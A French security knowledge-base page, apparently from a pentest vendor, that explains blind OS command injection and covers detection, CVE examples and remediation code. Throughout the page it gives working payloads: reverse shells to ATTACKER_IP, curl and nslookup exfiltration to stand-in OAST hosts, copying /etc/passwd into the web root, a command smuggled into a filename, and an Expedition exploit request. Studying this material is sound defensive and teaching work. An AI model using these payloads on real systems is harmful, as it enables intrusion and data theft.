La commande s'exécute mais sa sortie n'est pas retournée dans la réponse HTTP ; l'impact est confirmé via des callbacks DNS, la création de fichiers ou des canaux OOB.
TL;DR
L'injection de commandes à l'aveugle est la variante de l'injection de commandes OS (CWE-78) où l'application exécute la commande injectée mais ne retourne pas la sortie dans la réponse HTTP. La surface d'attaque est identique à l'injection classique — une entrée utilisateur non sanitisée atteint une fonction d'exécution shell — mais la réponse ne porte aucune preuve d'exécution. La logique applicatif du développeur supprime stdout et stderr, les cache derrière un gestionnaire d'erreurs, ou exécute la commande dans un thread en arrière-plan complètement découplé du cycle requête/réponse HTTP.
L'implication critique : une application peut être totalement exploitable sans jamais montrer à l'attaquant une seule ligne de sortie de commande. Les systèmes en production suppriment fréquemment la sortie des commandes shell pour éviter de divulguer la structure interne, les chemins système, ou les détails d'erreur aux utilisateurs. Ce choix de conception cache l'injection mais ne l'élimine pas.
L'injection à l'aveugle est détectée via des canaux auxiliaires. Cela la distingue des deux sous-variantes spécialisées — l'injection à l'aveugle basée sur le temps (délai de réponse comme oracle) et l'injection OOB (callback DNS/HTTP externe) — qui sont couvertes dans leurs propres pages. Cette page se concentre sur la catégorie aveugle générale : comprendre pourquoi la sortie disparaît, comment confirmer systématiquement l'exécution, et comment escalader une injection à l'aveugle confirmée vers un impact significatif.
L'injection à l'aveugle n'est pas 'moins dangereuse' que l'injection classique. L'absence de sortie visible est souvent prise à tort pour l'absence de vulnérabilité. Dans les données de pentest de BreachVex, les endpoints d'injection à l'aveugle tournent fréquemment sous root ou sous des comptes de service — précisément parce que ce sont des processus en arrière-plan que les développeurs ont renforcés contre la fuite de sortie sans renforcer contre l'exécution.
La sortie disparaît pour l'une des quatre raisons suivantes :
subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) — le développeur supprime intentionnellement la sortie pour des réponses API propres.# Exemple : injection à l'aveugle async — aucune sortie dans la réponse
@app.route('/api/report/generate')
def generate_report():
report_format = request.args.get('format')
# S'exécute dans un thread en arrière-plan — la réponse HTTP est immédiate
threading.Thread(
target=lambda: subprocess.run(
f"generate-report --format {report_format} --output /tmp/report.pdf",
shell=True,
capture_output=True # sortie capturée mais jamais retournée à l'utilisateur
)
).start()
return jsonify({"status": "queued"})
# L'attaquant injecte : format=pdf;curl http://attacker.com/$(id|base64 -w0)
# La commande se déclenche en arrière-plan, sortie supprimée — mais le callback OOB se déclenche| Technique | Comment ça fonctionne | Quand l'utiliser |
|---|---|---|
| Écriture de fichier | ; id > /var/www/html/out.txt — écrire vers la racine web | Quand vous connaissez un chemin web accessible en écriture |
| Reverse shell | ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 | Quand le TCP sortant est permis |
| Basée sur le temps | ; sleep 7 — mesurer le délai de réponse | Pas d'infrastructure OOB ; le timing doit être fiable |
| OOB DNS | ; nslookup $(whoami).OAST_DOMAIN | Le plus fiable ; DNS généralement permis en sortie |
| OOB HTTP | ; curl http://OAST_DOMAIN/$(id|base64 -w0) | Quand DNS est bloqué, pas HTTP |
| Inférence booléenne | Comparer la longueur/statut de réponse avec vs. sans true/false injecté | Furtivité extrême, énumération lente |
# Écrire la sortie de id vers un chemin accessible via le web
; id > /var/www/html/cmdi-proof.txt
; cat /etc/passwd > /var/www/html/passwd.txt
# Sonde unique basée sur timestamp (évite d'atteindre un résultat mis en cache)
; id > /var/www/html/cmdi-$(date +%s).txt
# Écrire vers /tmp si la racine web est inconnue — vérifier via LFI ou traversée de répertoire séparée
; id > /tmp/cmdi-proof
; touch /tmp/cmdi-was-hereAprès l'injection, récupérer le chemin du fichier directement :
GET /cmdi-proof.txt HTTP/1.1Si uid= est présent, la confirmation de Tier 1 est atteinte malgré la nature aveugle de l'endpoint.
# Bash /dev/tcp (le plus fiable sur Linux moderne)
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Encodé en base64 pour contourner les filtres d'espace/esperluette
; echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE= | base64 -d | bash
# Reverse shell Python3
; python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
# Netcat sans -e (variante OpenBSD, courante dans les conteneurs)
; rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 >/tmp/f
# Confirmation minimale (pas un shell complet, prouve juste l'exécution)
; nc -e /bin/sh ATTACKER_IP 4444Configurer l'écouteur avant d'injecter :
nc -lvnp 4444Quand toutes les autres méthodes sont bloquées, l'inférence booléenne fournit un mécanisme de confirmation de dernier recours :
# Conditionnel — injecter la branche true vs false pour détecter une différence comportementale
; test -f /etc/passwd && sleep 5 # délai de 5s si /etc/passwd existe
; test -d /nonexistent && sleep 5 # NE devrait PAS avoir de délai
# Comparer les longueurs de réponse
; id | wc -c > /dev/null # pas de sortie, mais exécution confirmée par timingCVE-2024-9463 — Palo Alto Expedition (CVSS 9.9)
Une vulnérabilité d'injection de commandes OS non authentifiée dans l'outil de migration Palo Alto Networks Expedition (versions < 1.2.96). L'endpoint /API/convertCSVtoParquet.php acceptait des paramètres contrôlés par l'utilisateur transmis directement aux fonctions d'exécution de commandes OS tournant en root. L'injection est à l'aveugle — l'API retourne un statut de traitement, pas la sortie de la commande.
POST /API/convertCSVtoParquet.php HTTP/1.1
Host: expedition.example.com
Content-Type: application/x-www-form-urlencoded
file=test.csv;curl${IFS}http://ATTACKER.oast.pro/$(id|base64${IFS}-w0)L'exploitation reposait sur des callbacks HTTP OOB pour confirmer l'exécution au niveau root. Le CVE complémentaire CVE-2024-9464 (injection de commandes OS authentifiée, CVSS 9.3) et CVE-2024-9465 (injection SQL, CVSS 9.2) permettaient le vol d'identifiants depuis les configurations de pare-feux lorsqu'ils étaient enchaînés. La CISA a ajouté CVE-2024-9463 au catalogue des vulnérabilités exploitées connues.
Injection à l'aveugle via nom de fichier de téléversement — Pattern général
Les endpoints de téléversement de fichiers qui traitent des noms de fichiers dans des commandes shell sont une source persistante d'injection à l'aveugle. Quand une application transmet un nom de fichier fourni par l'utilisateur à un binaire de conversion d'images, d'analyse antivirus, ou de traitement de documents :
POST /api/upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="report.pdf; id > /var/www/html/proof.txt"
[file content]La réponse HTTP retourne l'accusé de réception de téléversement immédiatement. Le backend traite le fichier de manière asynchrone. Si le nom de fichier est transmis à convert, clamdscan, ou pandoc via une chaîne shell, la commande injectée se déclenche lors du traitement — typiquement 0,1 à 30 secondes après la réponse au téléversement. Le résultat apparaît à /proof.txt sur le serveur web.
CVE-2024-21887 — Ivanti Connect Secure (CVSS 9.1)
L'injection de commandes dans l'endpoint /api/v1/license/key-status/<node_name> d'Ivanti était à l'aveugle — l'endpoint API validait les entrées et retournait des réponses JSON structurées sans refléter la sortie des commandes. Enchaîné avec CVE-2023-46805 (contournement d'authentification), des acteurs étatiques ont utilisé l'exfiltration DNS OOB pour confirmer l'exécution avant de déployer les implants malware ZIPLINE, THINSPOOL, WIREFIRE et LIGHTWIRE. La nature à l'aveugle de l'injection la rendait plus difficile à détecter dans les logs applicatifs, car aucune sortie anormale n'apparaissait dans les réponses.
Identifier les paramètres susceptibles d'atteindre des fonctions d'exécution OS dans des chemins de traitement en arrière-plan ou filtrés — pas seulement les endpoints interactifs qui reflètent des réponses.
Pour la confirmation par écriture de fichier, injecter vers des chemins inscriptibles connus et tenter la récupération :
; id > /var/www/html/cmdi-test.txtPuis : GET /cmdi-test.txt — si uid= est présent, confirmé.
Pour la confirmation basée sur le temps, utiliser le protocole proportionnel (voir la page À l'aveugle basée sur le temps) :
; sleep 7 → mesurer le delta D1
; sleep 14 → mesurer le delta D2Confirmer uniquement si D1 ≥ 5,5s ET D2 ≥ 12,5s (échelonnement proportionnel).
Pour la confirmation OOB — la méthode la plus fiable :
; nslookup $(whoami).YOUR-COLLABORATOR-ID.oastify.com
; curl http://YOUR-INTERACTSH-SERVER/$(id|base64 -w0)Surveiller le serveur OAST pour les connexions entrantes. Une requête DNS avec le nom d'utilisateur courant dans le sous-domaine constitue une preuve de Tier 1.
Pour l'injection via nom de fichier de téléversement, utiliser un nom de fichier unique basé sur timestamp :
Content-Disposition: form-data; name="file"; filename="test$(date +%s).jpg; id > /var/www/html/out.txt"Vérifier les chemins de code in-line et en arrière-plan. Instrumenter les requêtes en utilisant le "Scan in background" de Burp pour injecter dans les flux de téléversement et les endpoints de traitement async.
Commix avec les techniques basée sur le temps et par fichier :
commix --url "http://target.com/upload" --data "filename=*&format=pdf" \
--batch --smart --technique=TF --level=3Burp Suite Pro avec détection basée sur Collaborator est plus efficace pour l'injection à l'aveugle — il détecte les callbacks DNS et HTTP sans nécessiter d'analyse de timing. Configurer le scan actif avec le polling OAST activé.
BreachVex confirme l'injection à l'aveugle via plusieurs techniques complémentaires : une sonde d'écriture de fichier vers un chemin inscriptible, une validation proportionnelle basée sur le temps, et un callback DNS hors-bande portant un identifiant de corrélation unique par sonde (définitif quand la sortie de la commande apparaît dans le sous-domaine du callback). Les chemins d'injection de processus en arrière-plan sont révélés via le dépôt de payloads de second ordre avec des fenêtres de surveillance étendues.
La prévention pour l'injection à l'aveugle est identique à l'injection classique — la vulnérabilité est la même entrée non sanitisée atteignant une fonction d'exécution shell. Le fait que la sortie ne soit pas retournée ne change pas la cause profonde.
# VULNÉRABLE — à l'aveugle parce que la sortie est supprimée, pas parce que c'est sûr
import subprocess
def process_file(filename):
subprocess.run(
f"convert /uploads/{filename} /thumbnails/{filename}.jpg",
shell=True,
capture_output=True # <-- supprimer la sortie n'empêche pas l'injection
)
return {"status": "processed"}
# SÛR — forme tableau, shell=False, plus sanitization du nom de fichier
import re, os
def process_file_safe(filename):
# Liste d'autorisation : alphanumériques, tirets, underscores, extensions d'image courantes
if not re.fullmatch(r'^[a-zA-Z0-9_\-]{1,64}\.(jpg|png|gif|webp)$', filename):
raise ValueError("Nom de fichier invalide")
safe_path = os.path.join("/uploads", filename)
out_path = os.path.join("/thumbnails", filename + ".jpg")
subprocess.run(["convert", safe_path, out_path]) # pas de shell, pas d'injection
return {"status": "processed"}Pour les flux de téléversement de fichiers en particulier : valider le type MIME via les magic bytes avant traitement, rejeter les noms de fichiers avec des caractères spéciaux, et utiliser un nom de fichier interne basé sur UUID plutôt que le nom fourni par l'utilisateur :
import uuid, magic
def save_upload(file_data, user_filename):
# Valider les magic bytes
mime = magic.from_buffer(file_data[:2048], mime=True)
if mime not in {'image/jpeg', 'image/png', 'image/gif'}:
raise ValueError("Type de fichier non supporté")
# Utiliser UUID pour toutes les opérations internes — ignorer le nom de fichier utilisateur
internal_name = str(uuid.uuid4()) + ".jpg"
with open(f"/uploads/{internal_name}", 'wb') as f:
f.write(file_data)
return internal_namePour les pipelines de traitement en arrière-plan (Celery, workers de file d'attente, tâches cron), appliquer la même discipline subprocess en forme de tableau que pour les gestionnaires synchrones. Les processus en arrière-plan tournent souvent avec des privilèges élevés, rendant l'injection à l'aveugle dans ces contextes plus impactante qu'une injection équivalente dans le chemin de requête web.
Dans l'injection classique, la sortie de la commande injectée apparaît dans la réponse HTTP. Dans l'injection à l'aveugle, l'application exécute la commande mais supprime toute sortie — stdout et stderr n'atteignent jamais la réponse HTTP. La surface d'attaque est identique ; seule la méthode de confirmation change. L'injection à l'aveugle nécessite une détection par canal auxiliaire : timing, callbacks OOB, ou écritures de fichiers.
Des signaux par canal auxiliaire confirment l'exécution : (1) un délai temporel mesurable lors de l'injection de sleep ou ping (injection à l'aveugle basée sur le temps), (2) un callback DNS ou HTTP vers un serveur contrôlé par l'attaquant (OOB), (3) un fichier écrit dans un chemin accessible via le web récupérable ensuite, ou (4) une connexion reverse shell. Chaque méthode a des exigences différentes en matière de fiabilité et d'infrastructure.
Commencer par une sonde d'écriture de fichier : ; touch /tmp/cmdi-test-$(date +%s). Vérifier ensuite si le fichier existe si vous avez un accès en lecture, ou utiliser la méthode basée sur le temps en fallback. Sinon, commencer directement par la méthode basée sur le temps : injecter ; sleep 7 et mesurer le delta de réponse. Si le delta est proche de 7 secondes, escalader avec un sleep 14 proportionnel pour confirmer.
La confirmation basée sur le temps est vulnérable aux faux positifs dûs à la charge serveur, aux timeouts CDN, et à la gigue réseau. Un délai unique de 7 secondes sans échelonnement proportionnel est ambigu. L'OOB fournit une confirmation non ambiguë : une requête DNS reçue sur votre serveur Interactsh, surtout quand le sous-domaine contient la sortie de whoami, est une preuve définitive d'exécution. L'OOB fonctionne également à travers les CDN avec buffering de réponse qui aplatissent les deltas temporels.
CVE-2024-9463 est une injection de commandes OS non authentifiée dans Palo Alto Expedition (CVSS 9.9). La vulnérabilité existe dans /API/convertCSVtoParquet.php — les paramètres contrôlés par l'utilisateur sont transmis directement aux fonctions d'exécution de commandes OS tournant en root. L'injection est à l'aveugle : l'application ne retourne pas la sortie de la commande dans la réponse API. L'exploitation par preuve de concept s'appuyait sur des callbacks DNS OOB pour confirmer l'exécution.
Injecter un payload reverse shell : ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. Si la cible l'exécute, une session shell interactive se connecte à l'écouteur netcat de l'attaquant (nc -lvnp 4444). Recevoir la connexion prouve l'exécution de commandes. C'est la méthode de confirmation la plus invasive et ne devrait être utilisée que dans des engagements autorisés.
Injecter une commande qui écrit dans un chemin accessible via le web : ; id > /var/www/html/proof.txt. Puis récupérer /proof.txt depuis le serveur web. Si le fichier existe et contient uid=, l'injection est confirmée. Cela fonctionne dans les environnements où l'OOB est bloqué (pas de DNS/HTTP sortant) et où le timing est peu fiable. Nécessite de connaître un répertoire accessible via le web et inscriptible.
Oui. Si une application transmet un nom de fichier téléversé à une commande shell — pour la génération de miniatures, l'analyse antivirus, ou la conversion de format — sans sanitiser le nom de fichier, un nom de fichier comme report.pdf; id > /var/www/html/out.txt peut déclencher une injection à l'aveugle lors de l'étape de traitement en arrière-plan. L'endpoint de téléversement retourne immédiatement ; l'injection se déclenche de manière asynchrone lorsque le backend traite le fichier.
De nombreuses applications en production suppriment délibérément la sortie des commandes pour éviter de divulguer des données internes aux consommateurs d'API. Les tâches en arrière-plan, les processeurs déclenchés par cron, et les pipelines d'analytics côté serveur exécutent des commandes OS sans sortie visible par l'utilisateur par conception. Un paramètre qui passe la sanitization mais atteint proc_open() dans un thread worker peut être exploité même si la réponse HTTP ne contient aucune preuve de l'exécution.
Burp Suite Pro avec l'intégration Collaborator est la norme pour les pentests autorisés — il fournit des sous-domaines uniques par test avec des API de polling, et la capture d'interactions SMTP/HTTP/DNS. Pour les options open-source ou auto-hébergées, Interactsh (ProjectDiscovery) supporte le déploiement autonome pour les environnements isolés. Les endpoints publics gratuits incluent oast.pro, oast.live, oast.fun, et oast.me. Utiliser des sous-domaines uniques par sonde avec des identifiants de corrélation pour éviter les faux positifs.
L'injection de second ordre est un sous-ensemble de l'injection à l'aveugle où l'exécution est différée. Le payload est stocké (dans une base de données, un fichier de configuration, ou une file de tâches) et s'exécute quand un processus séparé le lit et agit dessus — souvent une tâche cron, un script d'administration, ou un processeur de batch. Le signal de confirmation apparaît des minutes ou des heures après la livraison initiale du payload. Les payloads OOB avec de longs TTL DNS sont la technique de détection standard.